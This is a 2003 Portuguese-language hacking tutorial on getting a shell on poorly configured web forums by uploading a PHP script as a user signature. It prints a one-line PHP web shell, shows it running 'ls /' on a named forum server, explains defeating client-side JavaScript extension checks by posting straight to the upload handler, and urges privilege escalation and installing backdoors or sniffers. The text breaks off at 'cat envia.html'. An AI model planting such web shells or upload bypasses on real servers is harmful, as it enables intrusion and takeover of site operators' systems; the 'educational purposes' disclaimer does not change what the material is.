############################################################################## ########################## CLUBE DOS MERCENARIOS ############################# ############################################################################## Desenvolvido: Wendel Guglielmetti Henrique. Nickname: dum_dum e-mail: magrao@flashrp.com.br Data: 26/05/2003 Este e outros tutoriais podem ser obtidos em: http://cdm.hacking.la http://www.frontthescene.com.br (Em breve) http://br.groups.yahoo.com/group/clube_dos_mercenarios (historico) http://br.groups.yahoo.com/group/frontthescene/ (historico) OBSERVACAO: Todas as informacoes e exemplos contidos nesse tutorial possuem somente propositos educacionais.Nao nos responsabilizamos pelo mau uso do mesmo. Esse humilde tutorial não descreve nenhuma tecnica nova de hacking, apenas a junção de algumas tecnicas existentes e um pouco de criatividade e malicia. Esse tutorial foi escrito com o intuito de alertar o pessoal Newbie e Fuçador sobre uma falha que esta presente em varios forums no mundo todo. SE VOCE SE CONSIDERA ELITE, KEEP OUT!! ;) ***************************************** * Upload de Assinatura + Forum = SHELL * ***************************************** ---------------------------------INDICE------------------------------------ 1 - INTRODUÇÃO. 1.1 - Descrição do Ambiente 2 - O QUE PODE SER FEITO ? 2.1 - Pre Requisitos 2.2 - A Tecnica 2.3 - Dificultando o ataque 2.4 - ASP ao inves de PHP 3 - TERMINANDO 3.1 - Links e Referencias 3.2 - Consideracoes Finais ---------------------------------------------------------------------------- --------------- 1 - INTRODUCAO | --------------- Como eu ja disse, não estou descrevendo nenhuma tecnica nova de hacking, apenas a junção de algumas tecnicas existentes e um pouco de criatividade e malicia. A tecnica descrita funciona graças a pessima configuração de servidores rodando PHP ou ASP (Linguagens Dinamicas em Server-Side). Se bem que no caso do ASP não se tem muito o q fazer, pois a M$ não proporciona configurações de segurança adequadas ao seu interpretador. Não posso esquecer de citar em especial os Forums (boards) mal configurados (ou programados de forma incorreta) ?! O ataque baseia-se na inocencia dos programadores e administradores de sistema que permitem aos usuarios do forum salvar suas assinaturas no proprio servidor do forum, consequentemente o atacante pode tentar utilizar desse serviço para executar comandos no servidor. 1.1 - Descrição do Ambiente --------------------------- O ambiente necessita ter as seguintes caracteristicas para que o ataque possa funcionar: * Um servidor Web (Apache, IIS , Netscape Enterprise). * Servidor Web com Suporte a alguma linguagem dinamica (PHP, ASP, ...) * Forum Configurado que permita que os usuarios salvem suas assinaturas no servidor. --------------------------- 2 - O QUE PODE SER FEITO ? | --------------------------- O limite desse ataque é o seu conhecimento tecnico e a sua criatividade. ;) Voce pode simplesmente executar comandos como: * Listar arquivos * Mover arquivos * Deletar ... * etc Ou até mesmo transferir arquivos do servidor para sua maquina, é possivel ainda escalar privilegios no servidor e conseguir acesso como Super Usuario e posteriormente instalar uma backdoor ou sniffer ... Quem cria os limites é VOCE! ;-) 2.1 - Pre Requisitos --------------------- Vou descrever o que voce precissa saber para acompanhar o tutorial sem problemas. ;) Antes de mais nada é fundamental: * Conhecimento de comandos Linux (dependendo do O.S que roda na sua vitima). * Conhecimento de comandos Windows (dependendo do O.S que roda na sua vitima). * Conhecimento de PHP (dependendo do interpretador que roda na sua vitima). * Conhecimento de ASP (dependendo do interpretador que roda na sua vitima). * Conhecimento de HTTP O quanto voce precissa conhecer de cada topico citado acima, depende do que voce pretende fazer. 2.2 - A Tecnica ---------------- Tudo começou por volta de uns 3 meses atras quando eu estava navegando em um Forum e vi uma mensagem mais ou menos assim "Click Aqui para salvar sua assinatura no nosso servidor". Eu cliquei no link e vi que eles permitião o upload de assinaturas, que erão publicadas em uma pasta publica via World Wide Web no servidor. A primeira coisa que fiz foi verificar o servidor Web onde erão exibidos os arquivos colocados via upload. Debian:/dum_dum# telnet www.servidorforum.com.br 80 Trying www.servidorforum.com.br... Connected to www.servidorforum.com.br. Escape character is '^]'. GET / HTTP/1.0 HTTP/1.1 200 OK Date: Wed, 28 May 2003 12:09:26 GMT Server: Apache/1.3.9 (Unix) PHP/4.0.3pl1 Last-Modified: Sun, 06 Apr 2003 11:20:37 GMT ETag: "2efe1-218-3e900d85" Accept-Ranges: bytes Content-Length: 536 Connection: close Content-Type: text/html; charset=iso-8859-1 Podemos ver que o servidor tem suporte a PHP, eu criei uma assinatura para fazer upload chamada test.php contendo o seguinte codigo: printf("%s",system($cmd)); ?> Em seguida fiz o upload da minha assinatura chamada test.php, e recebi a confirmação que o arquivo havia sido transferido com sucesso e que a minha assinatura estava disponivel em http://www.servidorforum.com.br/assinaturas/test.php. Eu acessei o endereço apareceu apenas um codigo 200 (sucesso) e a pagina ficou em branco. Em seguida fiz a seguinte requisição http://www.servidorforum.com.br/assinaturas/test.php?cmd=/bin/ls%20/ apache-var.tgz cdrom home lost+found sbin vmlinuz apache.tgz dev initrd mnt tmp vmlinuz.old bin etc initrd.img proc usr w boot floppy lib root var BINGOOOOO, o "ls" foi executado com sucesso. 2.3 - Dificultando o ataque --------------------------- O exemplo citado acima não é muito comun de se encontrar, essa falha existe em pequenos forums "pouco usados" que não se preocupão com segurança. ;) Depois de algum tempo procurando por forums que permitião upload de assinatura eu encontrei um diferente. Toda vez que eu tentava inserir uma assinatura diferente de .gif ele me exibia um alert (em JAVASCRIPT) dizendo que a extensão não era permitida. Analisando o codigo fonte, notei que a checagem era feita em JAVASCRIPT. A maneira mais facil de burlar foi simplesmente criar um arquivo que chamei de envia.html (arquivo local) que se conectava no servidor remoto e passa via metodo post o arquivo diretamente para o upsign.asp, assim não havendo checagem já que JAVASCRIPT é client-side. veja um exemplo: Debian:/var/www/# cat envia.html